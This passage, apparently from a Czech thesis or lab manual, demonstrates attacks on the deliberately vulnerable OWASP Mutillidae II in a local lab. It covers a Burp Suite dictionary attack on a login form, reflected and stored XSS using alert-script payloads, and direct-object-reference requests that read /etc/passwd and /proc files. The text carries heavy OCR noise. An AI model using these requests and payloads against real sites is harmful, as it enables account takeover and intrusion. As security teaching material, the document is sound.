tvim kterého lze vykonavat tutoky typu dictionary attack a brute force, manipulovat
s parametry, detekovat zranitelnosti SQL injection a cross-site scripting.

Pfepnutim se do zélozky Intruder/Target zkontrolujeme adresu naseho cile
192.168.56.101 a port 80, viz obr. 4.17.

Burp Suite Free Edition v1.6.32 e oo
Burp Intruder Repeater Window Help
[ Target [ Frow | spider | Scanner [ intruder | Repeater | Sequencer | Decoder | comparer | Extender | options | alerts |
I—m=
jTargetT Positions T Payloads T Options ]
2 Attack Target | Start attack

Configure the details of the target for the attack.

Host: |192.168.56.101

Port: 80

] Use HTTPS

Obr. 4.17: Volba adresy cile a portu

V zélozce Intruder/Positions je potfeba urcit typ ttoku a zvolit mista v po-
zadavku, na ktera bude Intruder vkladat nami zadané hodnoty. V nasem pozadavku

Intruder automaticky vyznacil mista, vhodna pro vkladani hodnot. Tato mista jsou
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oznaCena paragrafem § a barevné zvyraznéna, viz obr. 4.18. V tomto pripadé si
sami chceme zvolit proménné hodnoty k testovani. Kliknutim na tlac¢itko Clear §
se vsechny automaticky zvolené proménné hodnoty vymazou. Nyni zvolime pouze
hodnotu proménnych username a password (,admin®) a kliknutim na tlac¢itko Add
§ zadefinujeme mista, na ktera bude Intruder vkladat uzivatelskd jména a hesla ze
slovniku a porovnavat je, ¢imz bude zjistovat, zda-li dand kombinace je ve webové
aplikaci registrovana ¢i nikoliv.

Attack type (typ utoku) zvolime Cluster bomb. Ten umoznuje v pozadavku ozna-
¢it az 8 mist k porovnavani a je nejvhodnéjsi pro hledani spravné kombinace uziva-

telského jména a hesla.

Burp Suite Free Edition v1.6.32 @ 00
Burp Intruder Repeater Windew Help
[ Target | | spider [ scanner [ intruder | Repeater | Sequencer | Decoder | comparer | Extender | options | Alerts |
Tl
[Target TPositions T Payloads T QOptions ]
22 | Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which pavloads are
assigned to payload positions - see help for full details

Attack type: | Cluster bomb v]
POST /mutillidae/index,php?page=8login.phps HTTP/1.1 " | Add §
Host: 192.168.56.101 P
User-Agent: Mozilla/5.0 (X¥11; Linux xB6 _64; rv:38,0) Gecko/20100101 Firefox/38.0 Iceweasel/35.6.1 =
Accept: text/html,applicationsxhtml+xml,application/xml;q=0.9,%/%;q=0.8 | Eau J
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate | Auto §
Referer: http://192.168.56.101/mutillidae/index . php?page=login.php
Coockie: showhints=§1§: PHPSESSID=8pfklEvk24g9lolsifapbocpllos: | Refresh
acopendivids=8swingset,jotto, phpbb2, redmines; acgroupswithpersist=8nada’
Connection: close
Content-Type: application/x-www-Torm-urlencoded
Content-Length: 59
username=§admin§&password=8adming&login-php-submnit -button=5Loging

ke

]
L2l =]+ ]| = Tvpe a search term 0 matches | Clear
& payload positions Length: 673

Obr. 4.18: Volba typu utoku a vstupnich hodnot

Zalozka Intruder/Payloads je poslednim bodem nutnym pied zahdjenim tdtoku.
Zde musime urcit, jaké hodnoty se budou na zvolena mista vkladat.

V Payload set bude po rozbaleni seznamu na vybeér z tolika moznosti, kolik jsme
jich v pozadavku oznacili, tedy v nasem pripadé 2, kde vybereme nejprve 1.

Payload type urcuje pozadovany typ ,,payloadu” z rozbalovaciho seznamu. Tedy
v tomto pripadé staci zvolit Simple list, ktery je urcen pro jednoduché srovnavani
nékolika hodnot ze slovniku.

Payloads Options upresnuje, jaké hodnoty chceme srovnavat. Kliknutim na tla-
¢itko Load ... vybereme soubor userlist.txt, ktery obsahuje 7 uzivatelskych jmen

z databaze pro demonstraci utoku, viz obr. 4.19.
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Burp Suite Free Edition v1.6.32 e o 0
Burp Intruder Repeater Windew Help

[TargetT Prox, T Spider T Scanner Tlntruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options Tn\erts ]

[TargetT Positions TPaonads T QOptions ]

[a

Start attack | T

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various
payload types are available for each payload set, and each payload type can be customized in different ways

Payload set: |1 v Payload count: 7

Payload type: | Simple list v Request count: 0

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

nae ) e y
Load ... :;jr
Remove | | iohn >
Add Enter a new item
Add frem list ... [Pro version only]
v
Obr. 4.19: Volba prvnich vstupnich hodnot (uzivatelska jména)
Burp Suite Free Edition v1.6.32 © 0 0
Burp Intruder Repeater Window Help
[ Target | Prow | spider | Scanner | intruder | Repeater | Sequencer | Decoder | comparer | Extender | options | Alerts |
[ Target [ Positions | Payloads | options |
[a

@ Payload Sets Start attack | T

You can define ane or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various

payload types are ilable for each pavload set, and each payload type can be customized in different ways.
Payload set: | 2 R Payload count: 7
Payload type: | Simple list |- Request count: 0

Payload Options [Simple list]

)]

This payload type lets you configure a simple list of strings that are used as payloads.

abcl2s
Paste Vi

pentest
Load ... password
samurai

R adminl23 >
admin
Clear 42

Add Enter a new item

Add frem list ... [Pro version only]

a¥

Obr. 4.20: Volba druhych vstupnich hodnot (uzivatelska hesla)

Prepnutim Payload set na ¢islo 2 a kliknutim na tlacitko Load ... vybereme
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soubor passlist.tzt, ktery obsahuje 7 uzivatelskych hesel, viz obr. 4.20. V této chvili
staci kliknout na tlacitko Start attack, a zahdajit utok.

Intruder attack 1 © 00
Attack Save Columns
_[ Results T Target T Positions T Payloads T Options ]
| Filter: Showing all items | C2]
Request 4 | Payloadl | Payload2 | Status | Error | Timeout | Length | Comment
7 samurai abcl23 200 (D] (D] 50769 |T
8 admin pentest 200 (] (] 50769
9 ABaker pentest 200 O O 50769
10 user pentest 200 O O 50769
|11 \*) ed pentest 302 O O 50899
12 john pentest 200 O O 50804
13 jim pentest 200 (0] (0] 50804
14 samurai pentest 200 (D] (D] 50804
15 admin password 200 (] (] 50804
16 ABaker password 200 (] (] 50804
17 user password 200 (] (] 50804
18 ed password 200 (] (] 50804
19 john password 302 (] (] 50907
20 jim password 302 (] (] 50897 v
[ Request | Response
Raw | Headers T Hex | HTML T Render ]
HTTP/1.1 302 Found 'y
Date: Sat, 0Z Apr 2016 14:25:0Z GMT
Server: Apache/2.2.14 (Ubuntul mod_mono/2.4.3 PHP/S.3.2-1ubuntud.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1
Python/2.6.5 mod_ss1/2.2,14 OpenssL/0. 9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1
¥-Powered-By: PHP/S.3.2-lubuntud. 30
Set-Cookie: username=ed
Set-Cookie: uid=24
Location: index.php?popUpMotificationCode=AUL
Logged-In-User: ed
Vary: Accept-Encoding
Content-Length: S0383
Connection: close
Content-Type: text/html ||r
L2l = ||+ || =] |Tvweasearchterm 0 matches
Finished | ]

Obr. 4.21: Vysledky slovnikového ttoku

Po dokonceni titoku nastroj zobrazi vysledky, viz obr. 4.21. Celkové provedl 49
pozadavku (Request). Z obrazku je vidét pouze ¢ast jednotlivych pozadavki (kom-
binaci) uzivatelskych jmen (Payloadl), hesel (Payload2), statusu (Status) a délky
pozadavku (Length).

Pokud chceme védét, jaké kombinace jsou spravné, tak nejjednodussim zptisobem
je zkontrolovat ¢islo statusu. Status s ¢islem 302 znaci shodu uzivatelského jména a
hesla ve webové aplikaci. Tento pripad plati pro pozadavky 11, 19 a 20.

Dalsim zptsobem je podivat se na odpovéd (Response) od serveru. Pozadavek
¢islo 11 srovnaval uzivatelské jméno ed s heslem pentest. P¥i prepnuti do zélozky
Response/Raw je vidét odpovéd od webového serveru. Je-li kombinace spravna,
budou zde polozky Set-Cookie, Location a u Logged-In-User uvedené jméno uzivatele.

Kombinace uzivatelského jména user a hesla pentest je nespravna a odpovéd od

webového serveru vypada jako na obr. 4.22 s oznacenim statusu 200.
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[ Request | Response
Raw | Headers THex HTML T Render ]

HTTR/1.1 200 OK A
Date: Sat, 02 Apr 2016 14:25:01 GMT

Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/S.3.2-1ubuntud.30 with Suhosin-Patch proxy_html/3.0.1 mod_pythons3.3.1
Python/2.6.5 mod_ss1/2.2,14 OpenSs5L/0. 9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1

¥-Powered-By: PHP/S.3.2-lubuntud, 30

Logged-In-User:

Vary: Accept-Encoding

Content -Length: 50350

Connection: close

Content -Type: text/html

4

| 7 | = | + | = Type a search term 0 matches

Finished | |

Obr. 4.22: Odpovéd webového serveru pri nespravné kombinaci

Néastroj také umi vykreslit do jisté miry podobu webové stranky z pozadavku
a odpovedi webového serveru v zalozce Response/Render, viz obr. 4.23. Je to
také dalsi moznost, jak si ovérit, zda-li je kombinace uzivatelského jména ed a hesla
pentest spravna. Zde tomu tak je a a jsme prihlaseni jako uzivatel ed.

[Raquast Response
[Raw Headers THex HTML Render]

l

sgys . . ™
QZ(( OWASP Mutillidae IT: Web Pwn in Mass Production
Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - 5crlpt Klddle) Logged In User: ed (Commandline KungFu anyone?)
o
OWASP 2013 Login
OWASP 2010
% Back @ Help Me!
OWASP 2007 p s
Web Services
Hints
HTML 5
Others
Documentation ..
J Ve

Finished | |

Obr. 4.23: Priblizné podoba webova stranky

Celkem ze 49 kombinaci byly spravné 4:
o ed/pentest

e john/password

o jim/password

o samurai/samurai

4.4 Zranitelnost A3 - Cross-Site Scripting

Cilem této ulohy je vyhledani potencialné nebezpecnych skripti nastrojem XSSer,

které mohou mit vliv na webovou aplikaci OWASP Mutillidae II, vybrat néjaky ze
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skripti a demonstrovat metodu Reflected i Stored (viz kapitola 2.2).

Ve webové aplikaci OWASP Mutillidae II byl zvolen model pro zneuziti Set
Background Color 3, viz obr. 4.24. Tento model byl zvolen pfedevsim z toho diivodu,
ze nastroj XSSer vyzaduje urcitou formu adresy URL pro aplikaci skodlivého kédu.
———

€ ) @ 192.168.56.101/mutillidae/index. php?page=set-background-color.php ve Search

[ Most Visited v Il Offensive Security & Kali Linux % Kali Docs "\ Kali Tools EMExploit-DB W Aircrack-ng

@i OWASP Mutillidae Il: Web Pwn in Mass Production
Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Scrlpt Klddle) Not Logged In
Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data
OWASP 2013 4
( Set Background Color
OWASP 2010 4
owasF 2007 > Back @ Help Me!
‘ -
Please enter the background color you would like to see
m Enter the color in RRGGBB format
i (Example: Red = FFO000)
Getting?tarted: Background Color
Project
Whitepaper
’ The current background color is eecccc
Release
Announcements

Obr. 4.24: Model zneuziti zranitelnosti - Set Background Color

Otevienim terminalu a zadanim nasledujiciho prikazu:

root@Kali:~# xsser —gtk

dojde ke spusténi graficky uzivatelského rozhrani, viz obr. 4.25. K zahédjeni utoku
je nutné prepnout Fly mode na Intruder, coz zajisti testovani cilové URL adresy

primo nami vlozené. Vlozena URL adresa:

http://192.168.56.101 /mutillidae /index.php?page=set-background-color.php

Daéle je nutné zaskrtnout rezim testovani na Automatic a kliknout na tlacitko

Aim!. V poli Command je nyni vidét cely piikaz, ktery ndstroj vykona:

xsser -u http://192.168.56.101 /mutillidae/index.php?page=set-background-color
.php -i /root/None -s —user-agent Googlebot/2.1 (+http://www.google.com/bot.

3 OWASP 2013“ -> , A3 - Cross Site Scripting (XSS)“ -> ,Reflected (First Order)“ -> ,Set
Background Color*
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http://192....-coLor.php
http://192.168.56.10
http://192.168.56.101/mutillidae/index.php?page=set-background-color
http://www.google.com/bot

‘ html) —threads 5 —timeout 30 —retries 1 —delay 0 —auto

K 1toku je vSe potiebné nastaveno a staci kliknout na tlac¢itko FLY!!! k zahajeni.

XSSer v1.6b: "Grey Swarm!" — (http://xsser.sf.net) ® 00

K5S5er Expert Visor Wizard Helper Documentation About

Fly mode(s): ) Explorer @ Intruder |htt|3:ﬁ192.l68.56‘lOl!mutilLidaefindex.php' [ | Load file [ TorProxy [ Automatic [ | Crawler

Command(s): |xsser -u http://192.168.56.101/mutillidae/index.php?page=set-background-color.php -i /root/None -s --user-agent Goo|

]
& statistics [ | Tweet | Verbose [ | Launch [ Shorters: is.9d 0 FLY !

Obr. 4.25: Graficky uzivatelské rozhrani a nastaveni ttoku

XSSer | Expert Visor Wizard Helper Documentation About

[-] Hashing: f12e5fd3914f12e9f7ald5daad8a%a9b

[+] Trying: http://192.168.56.101/mutillidae/index.php?page=set-background-color.php/<video><source onerror="javascript:f12e5fd3914f12e5f7ald5daad8a
9a%b">

[+] Browser Support: [HTMLS Injection]
[+] Checking: url attack with <video><source onerror="javascript:PAYLOAD">... fail

Mosquito(s) landed!

- Injections: 98

- Failed: 83 0
- Sucessfull: 15

- Accur: 15 %

Obr. 4.26: Vysledky a celkovy pribéh ttoku
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http://xsser.sf.net
http://192.168
http://192.16S
http://192.16S
http://192.16S

Po vykonani itoku nastroj vypise do hlavniho okna cely postup testovani, viz
obr. 4.26. Vypis je velmi dlouhy, proto byl zvolen obréazek, ze kterého je vidét pokus
o aplikaci Sskodlivého kodu a vysledky. Néstroj provedl celkem 98 Injections (injekei),
z toho 83 s oznacenim Failed (neuspésny), 15 s oznacenim Succesful (Gspésny) a
Accuracy (pfesnost) byla 15%.

V zélozce Expert Visor/Report/Suspicious je vidét vSech 15 injections
s oznacenim Suspicious (podezrelé), viz obr. 4.27, tedy takové, které mohou mit

vliv na webovou aplikaci.

XSSer v1.6b: "Grey Swarm!" - (http:/fxsser.sf.net) e o0

XSSer | Expert Visor | Wizard Helper Documentation  About

Target(s) | Suspicious | Vulnerables | Failed Errors  Crawling

http://192.168.56.101/mutillidae/index.php?page=set-background-color.php/">03688881b2b32ff6eal9a722c1dbe897
http://192.168.56.101/mutillidae/index.php?page=set-background-color.php/";!--"<76f100c2620744483591a81cd7c233ca>=&{()}"

Final(s) http://192.168.56.101/mutillidae/index.php?page=set-background-color.php/</TITLE>3e2dd32d5837141978c4887ac04babctH
http://192.168.56.101/mutillidae/index.php?page=set-background-color.php/"><SCRIPT>alert(ec462e3cd8d0bfce 447b03a7c1250b61")</SCRIPT>
http://192.168,56.101/mutillidae/index.php?page=set-background-color.php/";!--"<387899d7c 748222 5aca86e216f81cdaf>=&(()}"

Visor(s) http://192.168.56.101/mutillidae/index.php?page=set-background-color.php/<<SCRIPT>d9d5c 73 1fd5cad948dc6344b776aabff//<</SCRIPT>
http://192.168.56.101/mutillidae/index.php?page=set-background-color.php/";1e45eae0651157falb384cb83 Afffc 56/
http://192.168.56.101/mutillidae/index.php?page=set-background-color.php/<iframe///////onload=10ba4b7750c9818194ca733bb&8d8bd4></iframe
http://122.168,56.101/mutillidae/index.php?page=set-background-color.php/<125c0d248952f8371cf244af0409836a STYLE="xss:expression(125¢
http://192.168.56.101/mutillidae/index.php?page=set-background-color.php/<S TYLE>.747820e00a5c2abed17241d1d1845d8 4{background-image:L
http://192.168.56.101/mutillidae/index.php?page=set-background-color.php/a="get";b="URL("",c="javascript:";d="67622beaa7e348217b7ce051ff4
http://122.168,56.101/mutillidae/index.php?page=set-background-color.php/<5 CRIPT>a=/e01f7142e457db62 23bd264070aa404a/alert (a.source)</
http://192.168.56.101/mutillidaefindex.php?page=set-background-color.php/<5 CRIPT>a=/dc5053d4ed878a49e06141975959d33e/ndc 5053 d4ed8;
http://192.168.56.101/mutillidae/index.php?page=set-background-color.php//[ CDATA[<!--]]<SCRIPT>5ca7337f12660d6f7753fa0d6f3a6b89//--></¢
http://192.168.56.101/mutillidae/index.php?page=set-background-color.php/<style><!--</style><SCRIPT>4ebdb45a478ec985d2780afd3842ab5e//

Vector(s)

Report(s)

Swarm(s)

Fly mode(s): (0 Explorer @ Intruder |6‘lUlfmutilLidaelmdex‘php’page:set—background—color.php‘ | I Load file | Tor Proxy [ Automatic [ | Crawler

Command(s): ‘xsser -u http://192.168.56.101/mutillidae/index. php?page=set-background-color.php -i froot/Mone -s --user-agent Googlebot/2.1 (+ht‘ Aim!

[ Statistics [ Tweet ] Verbose [l Launch [ Shorters: 1s.gd 0O/None 07 0 idle E LY

Obr. 4.27: Report suspicious injections

Pro priklad zkusime pouzit nastrojem vytvorenou URL se skriptem alert (vy-
straha):

http://192.168.56.101 /mutillidae /index.php?page=set-background-color.php/“>
<SCRIPT>alert(’ec46ae3cd8d0bfce447b03a7c1le50b61") < /SCRIPT >

Po vlozeni odkazu do webového prohlizece Iceweasel je vidét, ze zpusobil zobra-
zeni vystrazného okna alert s napisem ec4bae3cd8d0bfce47b03a7c1e50061 a ovlivnil
i horni menu webové aplikace. Fakt, ze jsme prinutili webovou aplikaci k zobrazeni

vystrazného okna, znaci zranitelnost proti itokim cross-site scripting.
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http://xsser.sf.net
http:ffl.92
http:ffl.92
http:ffl.92
http:ffl.92
http:ffl.92
http:ffl.92
http:ffl.92
http:ffl.92
http:ffl.92
http:ffl.92
http:ffl.92
http://loa.56.101/mut
http://192.16S
http://192.168.56.10

New Tab - lceweasel

4 httpi/192....-color.php * / C Connecting... x| *

[ € ) @ 192.168.56.101/mutillidae/index.php?page=set-background-color.php/ ><5 CRIPT>alert( ec46ae3cd8d0bfced47b03a7c1e50b61)</SCRIPT> v x][Q search

[ Most Visited v [l Offensive Security S Kali Linux " Kali Docs " Kali Tools EBExploit-DB W Aircrack-ng

ec46ae3cd8dObfce447b03a7c1e50b61

[OPrevent this page from creating additional dialogs

Obr. 4.28: Pouziti skriptu alert

Nepatrné upravime predchozi skript:

http://192.168.56.101 /mutillidae/index.php?page=set-background-color.php/“
<SCRIPT>alert(’Pozor utok XSS’)</SCRIPT>

Po pouziti takové URL se vystrazné okno alert zméni na napis Pozor utok XSS
a dochézi i k vyrazné zmeéné horntho menu ve formé alert(’Pozor utok XSS’)“>, viz
obr. 4.29.

Iceweasel

4 http://192....color.php * | &) Connecting... x|\ *

( € ) @ 192.168.56.101/mutillidaefindex.php?page=set-background-color.php/ <5 CRIPT>alert (Pozor utak XSS')</SCRIPT> v x][Q search

[ Most Visited v [l Offensive Security & Kali Linux “ Kali Docs "8 Kali Tools EBExploit-DB W Aircrack-ng

Pozor utok XSS

Obr. 4.29: Uprava skriptu alert

V praxi itocnici vytvari mnohem nebezpecnéjsi skripty, které se navic koduji
podle ASCII tabulky, aby odkazy URL vypadaly vérohodné pri metodé Reflected.
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file:///KaLi
file:///Kali
file:///KaliTooLs
http://192.168.56
http://192....-coLor.php
file:///KaLiTooLs
file:///Aircrack-ng

Zde slo predevsim o demonstraci, jak jednoduse si mize nezkuseny uzivatel, ktery
nerozumi skriptovacimu jazyku, ovérit pomoci automatické aplikace skodlivého kédu
nastrojem XSSer, zda-li je cilova webova aplikace zranitelna proti dtoku cross-site

scripting metodou Reflected.

Pro prezentaci metody Stored byl zvolen model pro zneuziti Add to your blog

4. viz obr. 4.30.
Jako priklad bude pouzit skript alert z predchoziho tikolu. Abychom ho mohli

ulozit do databaze, je nutna iprava na tvar:

<script>alert("Pozor utok XSS - Stored")</script>

Potvrzenim tlacitka Save Blog Entry se skript ulozi do databaze a zpusobi zob-
razeni vystrazného okna alert s napisem Pozor utok XSS - Stored. V tomto pripadé
to vSak na rozdil od metody reflected bude mit dopad na vice véci.

V pripadé, ze by nyni nékdo chtél pouzit model Add to your blog, se nejprve

zobrazi vystrazné okno alert a az poté bude moci blog vyuzit.

Iceweasel

J & nttpi/192...r-blogphp % | *

€ ) @ 192.168.56.102/mutillidae/index php?page=add-to-your-blog.php

[EMost visited v Bl Offensive Security "\ Kali Linux "4 Kali Docs "% Kali Tools EBExploit-DB W Aircrack-ng

@« OWASP Mutillidae 1I: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - 5crlpt Klddle) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB ViewLog View Captured Data

( Welcome To The Blog
: :
[ Add blog for anonymous J

i [Note: <b>, <i> and <u> are now allowed in blog entries]
<scriptzalert ("Pozor UIok Xog - Stored")=/scripts

—
Getting Started:
Project
Whitepaper

»

Release
Announcements

Obr. 4.30: Model zneuziti zranitelnosti - Add to your blog a skript alert

Pokud zvolime tlacitko View Blogs, vybereme z prispévkt od uzivateli volbu
Show All a potvrdime View Blog Entries, opét dojde k zobrazeni vystrazného okna

alert, viz obr. 4.31. Je to z divodu, Ze jsme chtéli vypsat vSsechny ulozené blogy

4 OWASP 2013“ -> A3 - Cross Site Scripting (XSS)“ -> , Persistent (Second Order)“ -> , Add
to your blog“
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ftp://192....r-btog.php
file:///Kali
file:///KaliDocs
file:///flircrack-ng

v databazi od vsech uzivateli véetné toho, ktery skript do databaze vlozil, coz zavi-
nilo spusténi i skriptu alert. V praxi je metoda Stored mnohem nebezpecnéjsi nez
metoda Reflected, protoze miize postihnout vice uzivatelii najednou a je pravdépo-
dobnéjsi, ze uzivatel nechténé klikne napt. na néjakou formu reklamy na webovych
strankach (dojde ke spusténi skriptu), nez na ojedinély odkaz v e-mailu (metoda
Reflected).

Iceweasel

‘mutillidae/index.ph age=view-someones-blog.ph v earch
) @ 192.168.56.102/mutillidae/index. php?pag blog.php x||Qs

[EMost visited v [l Offensive Security "8 Kali Linux “KaliDocs "% Kali Tools EBExploit-DB W Aircrack-ng

Pozor utok XSS - Stored

Obr. 4.31: Zobrazeni vystrazného okna alert pri volbé Show All

4.5 Zranitelnost A4 - Insecure Direct Object Re-

ferences

Cilem této ulohy je vyuzit ptimych odkazii na objekty a ziskat informace o webové
aplikaci OWASP Mutillidae II.

Iceweasel

/t http://192...viewer.php x\i-

(€ ) @ 192.168.56.101/mutillidsefindex. php?page=textfileviewer. php v @ |[Q search

[EMost visited v [llOffensive Security "8 Kali Linux " KaliDocs "% Kali Tools EMExploit-DB W Aircrack-ng

®% OWASP Mutillidae 1I: Web Pwn in Mass Production

Version: 2,6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - 5crlpt Klddle) NotLogged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB ViewLog View Captured Data

.

{ Hacker Files of Old
»

= J

»
_ Take the time to read some of these great old school hacker text files.
Just choose one form the list and submit.
es0 3
Res Text File Name | Intrusion Detection in Computers by Victor H. Marshall {January 28, 1991) ¥ |

()

Obr. 4.32: Model zneuziti zranitelnosti - Text File Viewer
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file:///KaLi
file:///KaliDocs
file:///KaLi
http://192...viewer.php
file:///KaLi
file:///KaliDocs

Pro demonstraci ttoku byl zvolen nastroj Burp Suite a ve webové aplikaci
OWASP Mutillidae II model pro zneuZiti Text File Viewer 5, viz obr. 4.32.

Jiz znamym postupem z predchozich tloh musime nejprve nastavit proxy servery
webového prohlizece Iceweasel a nastroje Burp Suite k zachyceni HT'TP komunikace.
Z nabidky textovych soubort byl vybran soubor Intrusion Detection in Computers
by Victor H. Marshall (January 29, 1991). Po kliknuti na tlacitko View File dojde
k zachyceni komunikace, viz obr. 4.33. Vyznaceny textovy retézec muzeme nyni sma-

zat a misto néj napsat cestu k souboru passwd:

textfile=/etc/passwd&text-file-viewer-php-submit-button=View+File

Burp Suite Free Edition v1.6.32 e ® 0

Burp Intruder Repeater Window Help

[Target TH' 3 T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIer‘ts ]

_[ Intercey tT HTTP history TWebSockets history T Options ]

|iJ Request to http://192.168.56.101:80

| Forward J | Drop J f Intercept is on ] | Action Comment this item |£J |_?J
Raw | Params | Headers | Hex

POST /mutillidae/index.php?page=text-file-viewer.php HTTP/1.1 A
Host: 192 168.56.101 -
User-Agent: Mozilla/5.0 (¥11; Linux x86_&4; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.6.1
Accept: text/shtml.application/xhtml+xml.application/xml:g=0.9,%/%;0=0.8
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Referer: http://192,168.56.101/nutillidae/index.php?page=text-file-viewer.php
Cookie: showhints=1; PHPSESSID=uZljb7do7bal3dvmlrhdmg2uds; acopendivids=swingset,jotto,phpbb2, rednine;
acgroupswithpersist=nada
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
textfile=http%38%2F% 2Fwww  text files. con%2Fhacking%2Fauditool . txt&text -file-viewer-php-submit -button=view+File
b
v
L2l =]+ ||= Type a search term 0 matches

Obr. 4.33: Zachyceni HTTP komunikace

Kliknutim na tlac¢itko Forward odesleme upraveny pozadavek webovému serveru
ke zpracovani a v prohlizec¢i Iceweasel dostaneme odpovéd, viz obr. 4.34. Jedna se
o textovou databazi, obsahujici informace o uzivatelich, ktefi se mohou ptihlasit do
systému a uzivatelskych identitdch OS vlastnici bézici procesy. Utoénik by se mohl
ze souboru dozvédét uzivatelskd jména, sifrovand hesla, ¢isla UID (User ID number),
¢isla GID (Group ID number), celd jména uzivateli, domovské adresare a prikazovy
terminal (shell).

5  OWASP 2013 -> A4 - Insecure Direct Object References“ -> , Text File Viewer“
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File: /etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon: fusr/sbin: /bin/sh
bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys: /dev: /bin/sh
sync:x:4:65534:sync: /bin: /bin/sync

games:x:5:60:games: /usr/games: /bin/sh

man:x:&:12:man: /var/cache/man: /bin/sh
Tp:x:7:7:lp:/var/spool/1pd: /bin/sh
mail:x:8:8:mail:/var/mail: /bin/sh

news:x:9:9:news: /var/spool,/news: /bin/sh
uucp:x:10:10:uucp:/var/spool/uucp: /bin/sh
proxy:x:13:13:proxy:/bin: /bin/sh
www-data:x:33:33:www-data: fvar/www: /bin/sh
backup:x:34:34:backup:/var/backups: /bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd: /bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (adminj}:/var/Llib/gnats:/bin/sh
nobody : x:65534:65534: nobody : /nonexistent: /bin/sh
Tibuuid:x:100:101::/var/1ib/Libuuid: /bin/sh
syslog:x:101:102: : /home/syslog: /bin/false
klog:x:102:103:: /home/klog: /bin/false
mysql:x:103:105:MysSqQL Server,,, :/var/lib/mysql: /bin/false
landscape:x:104:122:: /var/lib/landscape: /bin/false
sshd:x:105:65534: : /var/run/sshd: fusr/sbin/nologin
postgres:x:106:109:PostgresqQL administrator,,,:/var/lib/postgresql:/bin/bash
messagebus:x:107:114: : /var/run/dbus: /bin/false
tomcat&:x:108:115: : fusr/share/tomcats: /bin/false
user:x:1000: 1000:user, ,, : fhome/user: /bin/bash

Obr. 4.34: Vypis souboru passwd

Kromé souboru passwd muze ttocnik ziskat informace o bézicich procesech na
serveru, verzi serveru atd. prostfednictvim souborového systému proc. Stejnym po-
stupem jako u souboru passwd (musime znovu zachytit HTTP komunikaci) zjistime

verzi kernelu:

textfile= /proc /version&text-file-viewer-php-submit-button=View+File

Z obrazku 4.35 je vidét konkretni verze pouzivaného OS a datum posledni aktu-

alizace.

File: /procfversion

Linux version 2,6, 32-25-generic-pae (buildd@rothera) (gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu3) ) #44-Ubuntu SMP Fri Sep 17 21:57:48 UTC 2010

Obr. 4.35: Vypis souboru version
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Smérovaci tabulku:

textfile= /proc /net/route&text-file-viewer-php-submit-button=View+File

File: /proc/net/route

Iface Destination Gateway Flags RefCnt Use Metric Mask MTU Window IRTT
ethd 0038A8C0 elelelelelelele] 0oe1 0 0 €] QOFFFFFF ¢] 0 0

Obr. 4.36: Vypis souboru route

ARP tabulku:

textfile=/proc /net/arp&text-file-viewer-php-submit-button=View+File

Poskytuje informace pro vyhledani IP adres pro jiné interni servery.

File: /proc/net/arp

IF address HW type Flags HW address Mask Device
192,168.56.1 oxl ox2 0a:00:27:00:00:00 # ethd

Obr. 4.37: Vypis souboru arp

Konfigura¢ni soubor Apache serveru:

textfile=/etc/apache2/apache2.conf&text-file-viewer-php-submit-button
=View+File

V tomto souboru je uvedena cela konfigurace webového serveru Apache. Obrazek

4.38 reprezentuje vzhledem k dlouhému vypisu pouhy zlomek.

File: /etc/apache2/apache2.conf

Basec upon the MCSA server configuration files originally by Rob McCool.

This 1s the main Apache server configuration file. It contains the
configuration directives that give the server 1ts instructions.

See Fttp://httpd.apache. org/docs/2.2/ for detailed information about
the cirectives.

Do WNOT simply read the instructions in here without understanding
what they do. They're here only as hints or reminders. If you are unsurz
constlt the online docs. You have been warned.

HoH HHHH W HHH R

Obr. 4.38: Vypis ¢asti souboru apache2.conf
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http://httpd,apache,org/docs/2,2/
http://consi.lt

Pokud je webova aplikace nezabezpecena a pouziva pirimé odkazy na objekty,
miize se utocnik dozvédét velké mnozstvi uzitecnych informaci o systému a uziva-
telich. Zalezi pouze, jakou ma celkovou znalost o cilovém systému a jeho struktufe,
aby mohl pristupovat k jednotlivym soubortim a cist jejich obsah.

4.6 Zranitelnost A5 - Security Misconfiguration

Cilem této ulohy je vyuzit nezabezpecenou konfiguraci k prozkoumani adresaiti a
soubort, které by nemély byt neopravnénym osobam pristupné a ziskat tak infor-
mace o webové aplikaci OWASP Mutillidae II.

Pro demonstraci ttoku byl zvolen nastroj Burp Suite a ve webové aplikaci
OWASP Mutillidae II model pro zneuZiti Directory Browsing ©, viz obr. 4.39.

Iceweasel

J ¥ nttp:/192..wsingphp * | *

€ ) @ 192.168.56.101/mutillidaefindex.php?page=directory-browsing.php v
Php?F php

[EIMost visited v [l Offensive Security "\ Kali Linux & KaliDocs "% Kali Tools EBExploit-DB W Aircrack-ng

@« OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - 5crlpt Klddle) Not Logged In

